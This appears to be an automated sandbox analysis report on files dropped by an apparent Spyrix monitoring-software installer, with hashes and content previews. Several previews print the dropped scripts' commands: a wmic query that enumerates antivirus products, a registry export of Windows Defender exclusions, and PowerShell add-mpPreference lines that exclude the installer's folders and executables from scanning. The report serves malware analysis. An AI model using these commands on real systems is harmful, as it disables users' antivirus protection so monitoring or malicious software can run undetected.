SHA-512:	79E2BF550C0A463E62AEDECE5AA5ABB11DE38AADF82B8BE118BCE49F2D0542DE23D656F7C311F3839845261A1754839F507C83C0AB4003F5508DE9E6A9CA01A3
Malicious:	false
Reputation:	unknown
Preview:	https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe

C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\stld2.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.095795255000934
Encrypted:	false
SSDEEP:	3:nWDn:nWD
MD5:	285130BE63E78277DF11A9108B363925
SHA1:	92DD2F701821CACA090F8058BD054E840FFF88CC
SHA-256:	CFAEB467D2A24A24D97D2E8267E68E6D7C6C805D928DA760D6706AA20608FF5F
SHA-512:	30755D1EC6BEF8B943100F321489ABBE09306817099623DE7916EC2F1CB9CCD191EBD8939352DAC6207AEB95963A30690452037C808FC165DB12C54099377BAC
Malicious:	false
Reputation:	unknown
Preview:	sfkstart ..

C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\stld3.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:n8xn:n8xn
MD5:	CDB1A48B259C774953CF6BBE7400307F
SHA1:	EA21684C2E98E04545F277AE0536ABB632C4327C
SHA-256:	AC4A42FD557E8EF69E1D3BED829ED3A4AD955C40F96BE52315D72C269ADE781A
SHA-512:	AA6132B49DC4A18909D975F92FA5D3D21B5B78FAA21913B17042F8AE71CE180280C6767159F3442CB0DFA62C6E42DB39C0F62AA54C2D5DB883BF4AC509F077F7
Malicious:	false
Reputation:	unknown
Preview:	sfkdone ..

C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1286144
Entropy (8bit):	6.249712908749164
Encrypted:	false
SSDEEP:	24576:EtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9Ke:8qTytRFk6ek14h5
MD5:	BFA3F09DEEE00832D000F497EC5B570A
SHA1:	9D4ED9BB876E66258392AA51C9B1C0F67D38A6AE
SHA-256:	F01CFA202969C9FE931CB95E47FF59700F9EB924014ED349E0A731B3B7327518
SHA-512:	A89043F52655EB0E189A5A1F5D72BF049A855D1795D0FA0E66EA949FC6F20A5336154D4A3FC2F3480E132751963C6AF2A68806623EF0651D8CC513BE7E1DCE70
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\$ywr34c.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:jBJiA74Sv:jBJiA7Vv
MD5:	1249DB06A084E7BD91B25B5E80D734B4
SHA1:	24913C0107782EDBD4860DB5BD44EFA70A7DFFB8
SHA-256:	F81AA38FEF90A467D739EBC0B56A77F9D58057EE86EC69315A4015D5D7D396FA
SHA-512:	0687A3615C1BA2D13314382C66F4B4E7217B52DE18A88EE27B45D28F776461C17FFEF7B5D85FF7DA3AB3AE14F3003D5802656FE6B3067D5057C9CDF4CAF46AC4
Malicious:	false
Reputation:	unknown
Preview:	Windows Defender. ..

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30376
Entropy (8bit):	6.752744346977093
Encrypted:	false
SSDEEP:	768:84NHPfHCs6GNOpiM+RFjFyzcN23AEoSXMYisio:8anvc+R9F4s8BoaMYi2
MD5:	FD4743E2A51DD8E0D44F96EAE1853226
SHA1:	646CEF384E949AAF61E6D0B243D8D84AB04E79B7
SHA-256:	6535BA91FCCA7174C3974B19D9AB471F322C2BF49506EF03424517310080BE1B
SHA-512:	4587C853871624414E957F083713EC62D50C46B7041F83FAA45DBF99B99B8399FC08D586D240E4BCCEE5EB0D09E1CDCB3FD013F07878ADF4DEFCC312712E468D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P.......................................................................P.......P..(....................L...*...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.909150566837293
Encrypted:	false
SSDEEP:	3:QwZnVCYYYlCK3CbHFwK44NNMhNSjf4ugsrxjEaHiAuCWmqdHZlFABFWFTc5gIV:Qin3Nyb+rANyYDZRZummFZTc/V
MD5:	46D85CB370F0F6D82914A869341C3C25
SHA1:	956D44D64BC8331AE71F823A689EE4723F05BD54
SHA-256:	23FD2BFC7E842DB9ACBE1A6D17CD3F0A714845D8AD5DAC2F126E9337D5DB3062
SHA-512:	8BF8F3682CDE0F9D5C5802C06293F7BD071BA7D917D6F0D069BA34BD32E289E701F5E3021BC56227DD83EDC679A24FD6E4FF1F01F5F8411B5060AFF4B98E0F39
Malicious:	false
Reputation:	unknown
Preview:	for /f "tokens=2 skip=1 delims==" %%i in ('"wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"') do if not %%i == "" echo %%i >> $ywr34c.tmp

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	139
Entropy (8bit):	5.254280667001064
Encrypted:	false
SSDEEP:	3:qia6pdgLxqrZfyM1KJA7yuLWH25Pt+kiE2J5xAIzI2sRbsH:DYLxiH18A7y/2wkn23fzI2sxsH
MD5:	0EE65A8B89C3DBC30E61EBDF14CDA3EC
SHA1:	38E9D9E186105B8C3C062DA7671831D771B593F8
SHA-256:	83A667660C74AAC5C42206CB73DAB2125077DDF1A1D995D249B23F399C4C6BD7
SHA-512:	E21A6CF4EC625AA3B392C8E56D1C4963C44C3772A8C7BE4ECFBC84332F17B8AAABBB41516886EFABADFCC80539FDDD8AFB387F0AC65EB44DE59BB3D7BFB1D664
Malicious:	false
Reputation:	unknown
Preview:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\iMsgInfo.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\psout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.884815574267147
Encrypted:	false
SSDEEP:	24:nt0vG74xdl/ko+3bdhXUnt0oxdl/ko+3bdhXUn:nt2H+3EntTH+3En
MD5:	6F2313763C1AD9F789FF3A343AD82AA1
SHA1:	8FD79A4E381A7BC0ABBCCF8DE00BA25655CCB029
SHA-256:	39EBF0A3E52E0D2EF8627338D9605F77A2D46B5B324B1E3CAB19CB6DDB43B4AB
SHA-512:	CE53871C80BFC858678553EBA88AC3B79A565F4C3F401ECA9EEB2B37CF0F3FC3CB12ED300B0B31EBAB968E79A0D40785B6CF38F9D4D687677D8CA88E0A2049E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\psout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018452
Encrypted:	false
SSDEEP:	24:nt0vG74uEZE/ko+3bdhXUnt0ouEZE/ko+3bdhXUn:nt2ru+3EntTru+3En
MD5:	F764E5A374CB4979A739316DC628B58D
SHA1:	D7BEDF72C871CFC6CE0A2C261B812890926CAF33
SHA-256:	169726FB096AB72851E5E9102B644DBEF534E4F9815B0B67807DC72CCD987380
SHA-512:	D9110A7764933429275AC2DE0E1A3992BE8F263D286006DEDDE3D501C96B1D4934F20F235FF5C7A33E4C81BCFC0CE357F26A276721BCEFB76458D9796032CAE1
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\pswd.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	5.220619971706481
Encrypted:	false
SSDEEP:	24:i+yuER4+yxdhl+yuEZaX+yxd0YQWl+yxd0YWl+yxd0YDzSl+yuEZ0YQt+yuEZ0Yx:tyrByRgyrYOyVQWgyVWgyVDzSgyrTQ4Q
MD5:	1B34CBBE417E8B55F2C88C21283BEB9B
SHA1:	ACF71DF16642D36383B594D0EB8DB84DF3A3DEB1
SHA-256:	5B02E16F3F5E727E5D0DBBCDEC695E8FD3055EBBF5F70749C87B32D392A624D4
SHA-512:	29F65FF5A507E7A92CA7B5458BF2EFF38B328C7B7E72DB067EB4D6EC813E5263462E635D59F93F0A921C989CCE1FFC04BDE9DDAD0B5297D27779C7450BC7A64C
Malicious:	false
Reputation:	unknown
Preview:	powershell.exe add-mpPreference -ExclusionProcess '[space]= .'..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' > psout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\' > psout_p..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' > spmmout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout_p..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout_p..powershell.exe add-mpPreference -ExclusionPr

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\sout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\sout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\spmmout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\spmmout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\spsout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\spsout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\webbrowser.dll

Download File

